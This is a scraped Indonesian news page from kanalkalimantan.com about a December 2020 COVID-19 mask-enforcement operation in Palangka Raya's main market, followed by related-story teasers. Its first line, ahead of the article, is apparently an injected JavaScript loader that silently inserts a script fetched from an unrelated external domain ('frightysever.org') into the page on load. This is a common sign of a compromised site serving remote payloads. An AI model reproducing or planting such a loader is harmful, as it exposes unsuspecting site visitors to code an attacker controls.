(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA — Tim gabungan Unit Reaksi Cepat (URC) Divisi Patroli Pengawasan Protokol Kesehatan (Prokes) menggelar operasi yustisi di kawasan Pasar Besar Palangka Raya, Selasa (29/12/2020).
Ipda Ketut Pardiasa, selaku Perwira Pengendali (Padal) Polresta Palangka Raya mengatakan, dalam pelaksanaan operasi yustisi ini, terjaring sebanyak 29 orang tidak memakai masker.
Dari 29 pelanggar, 14 orang mendapat sanksi denda administrasi dan 10 orang memilih sanksi kerja sosial. Sedangkan satu orang menerima teguran tertulis.
“Ini sebagai upaya memutus mata rantai penyebaran Covid-19 di Kota Palangka Raya dan dalam rangka penindakan peraturan wali kota nomor 26 tahun 2020,” ujarnya.
Ketut menegaskan, pihaknya akan terus berupaya menerapkan prokes 3 M, yakni memakai masker, mencuci tangan dan menjaga jarak, kepada masyarakat. (kanalkalimantan.com/tri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.